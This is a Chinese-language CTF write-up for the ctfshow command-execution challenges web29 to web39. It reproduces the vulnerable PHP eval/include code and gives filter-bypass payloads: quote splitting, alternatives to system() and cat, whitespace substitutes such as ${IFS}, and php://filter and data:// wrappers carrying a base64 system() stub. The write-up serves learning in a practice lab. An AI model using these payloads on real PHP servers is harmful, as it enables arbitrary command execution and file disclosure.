web29~web39
参考博客:
https://blog.csdn.net/m0_62422842/article/details/125507970
https://www.cnblogs.com/amazingman113/p/16036313.html
Web29
/*
\# -*- coding: utf-8 -*-
\# @Author: h1xa
\# @Date: 2020-09-04 00:12:34
\# @Last Modified by: h1xa
\# @Last Modified time: 2020-09-04 00:26:48
\# @email: h1xa@ctfer.com
\# @link: https://ctfer.com
*/
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
payload:?c=echo tac fl''ag.php;
过滤的很少可以用 nl(见下文),通配符之类的
nl 指令用于在输出文件内容时自动添加行号。与 cat -n 类似
Web30
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-04 00:12:34
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-04 00:42:26
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
过滤掉system,这时我们可以看看有哪些可以代替system的:
(1)system()函数
作用:调用shell来执行命令;返回命令的退出状态
(2)exec()函数(execl, execlp, execle, execv, execvp, execvpe)
作用:创建一个新的进程,并在新进程中执行命令
(3)其他:shell_exec()、passthru()、popen()、proc_open()、pcntl_exec()
(4)反引号
Web31
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-04 00:12:34
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-04 00:49:10
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
过滤空格:%09 %0a(<> ${IFS} $IFS$9 {cat,fl*} %20这几个在这个题里不行)
绕过cat使用tac more less head tac tail nl od(二进制查看) vi vim sort uniq(vim有可能不行)
Web32
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-04 00:12:34
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-04 00:56:31
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
payload:?c=include%09$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php
data://text/plain;base64,PD9waHAgc3lzdGVtKCJ0YWMgZmxhZy5waHAiKTs/Pg==
主要由于这个程序过滤了括号,导致很多函数没有办法使用,include可以无括号包含,然后就成为了文件包含类题
include包含内容不经过preg_match的过滤,所以只需要注意前面内容即可
;可以用?>进行绕过,用于闭合前面的内容
get的参数用1是为了绕过“过滤
值得注意的是:当使用php://filter/会将带有通配符的文件名作为普通文件名处理(例如:*.php它会寻找对应名称,而不会输出所有php后缀的文件)
之后几个就用伪协议就能过
web39
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-04 00:12:34
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-04 06:13:21
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
//flag in flag.php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag/i", $c)){
include($c.".php");
}
}else{
highlight_file(__FILE__);
}
这个是在我们传入的c值之后加上.php,但是由于我们写的都进行了闭合,不会出现影响
payload:?c=data:text/plain,
web29~web39的更多相关文章
- ctfshow web入门部分题目 (更新中)
CTFSHOW(WEB) web入门 给她 1 参考文档 https://blog.csdn.net/weixin_51412071/article/details/124270277 查看链接 sq ...
- ctf命令执行刷题
web29 error_reporting(0); if(isset($_GET['c'])){ $c = $_GET['c']; if(!preg_match("/flag/i" ...
- 理解Docker(3):Docker 使用 Linux namespace 隔离容器的运行环境
本系列文章将介绍Docker的有关知识: (1)Docker 安装及基本用法 (2)Docker 镜像 (3)Docker 容器的隔离性 - 使用 Linux namespace 隔离容器的运行环境 ...
- BUUCTF平台-web-边刷边记录-1
1.WarmUp 思路很清晰,文件包含,漏洞点在代码会二次解码,只需注入一个?就可以使用../../进行路径穿越,然后去包含flag,flag路径在hint.php里面有 2.easy_tornado ...
- 【转】 linux下配置squid 服务器,最简单使用方式
linux下配置squid 1.什么是squid Squid cache(简称为Squid)是一个流行的自由软件(GNU通用公共许可证)的代理服务器和Web缓存服务器.Squid有广泛的用途,从作为网 ...
- ctfshow web入门 命令执行 37-39
37-39 基于 GET 传参的 include() 38.39 是 37 的变种 分析 伪协议常用于文件包含漏洞中 文件包含函数有:include.include_once.require.requ ...
- ctfshow web入门 命令执行 web29-36
29-36 全是基于get传参执行 eval() 函数,均采用黑名单匹配,不同点在于黑名单的变化 web29 1 error_reporting(0); 2 if(isset($_GET['c'])) ...
随机推荐
- Ansible忽略任务失败
在默认情况下,任务失败时会中止剧本任务,不过可以通过忽略失败的任务来覆盖此类行为.在可能出错且不影响全局的段中使用ignore_errors关键词来达到目的. 环境: 受控主机清单文件: [dev] ...
- Oralcle11.2.0.1.0使用出现的问题
问题1:oracle中监听程序当前无法识别连接描述符中请求服务 解决方法1: 查看oracle的服务是否开启,计算机->管理->服务和应用程序->服务,如下图 解决方法2: 找到or ...
- linux 关机方法
虚拟机是虚拟技术的一种,很多用户会在虚拟机上边使用命令来进行自定义操作关机,这样方便快捷,能够有更多的时间处理别的事情,那么还有没有其他更容易操作的poweroff关机命令呢?一起来看下吧. 虚拟机关 ...
- [每日算法 - 华为机试] leetcode463. 岛屿的周长
入口 力扣(LeetCode)官网 - 全球极客挚爱的技术成长平台备战技术面试?力扣提供海量技术面试资源,帮助你高效提升编程技能,轻松拿下世界 IT 名企 Dream Offer.https://le ...
- datasnap的监督功能【3】-TCP链接监督功能
1.对于使用TCP/IP链接的客户端应用程序,是具有状态的.一直等到客户端完成服务请求后释放配置的资源.如何掉线了,那么服务器就是傻傻地等着,可能导致资源耗尽. 如何在服务端选择一个链接切断关闭之: ...
- 探秘Transformer系列之(22)--- LoRA
探秘Transformer系列之(22)--- LoRA 目录 探秘Transformer系列之(22)--- LoRA 0x00 概述 0x01 背景知识 1.1 微调 1.2 PEFT 1.3 秩 ...
- Devops相关考试和认证
Devops相关考试和认证 Red Hat Certified System Administrator (RHCSA) 能够执行以下任务: 了解和运用必要的工具来处理文件.目录.命令行环境和文档 操 ...
- 创建bean对象的三种方式
一.使用无参构造方法创建 二.使用静态工厂创建 三.使用实例工厂创建
- Web前端开发规范手册(有点老,仅供参考)
一.规范目的 1.1 概述 为提高团队协作效率, 便于后台人员添加功能及前端后期优化维护, 输出高质量的文档, 特制订此文档. 本规范文档一经确认, 前端开发人员必须按本文档规范进行前台页面开发. 本 ...
- 把 MCP Server 打包进 VS Code extension
大家好!我是韩老师. 本文是 MCP 系列文章的第六篇,之前的五篇是: Code Runner MCP Server,来了! 从零开始开发一个 MCP Server! 一键安装 MCP Server! ...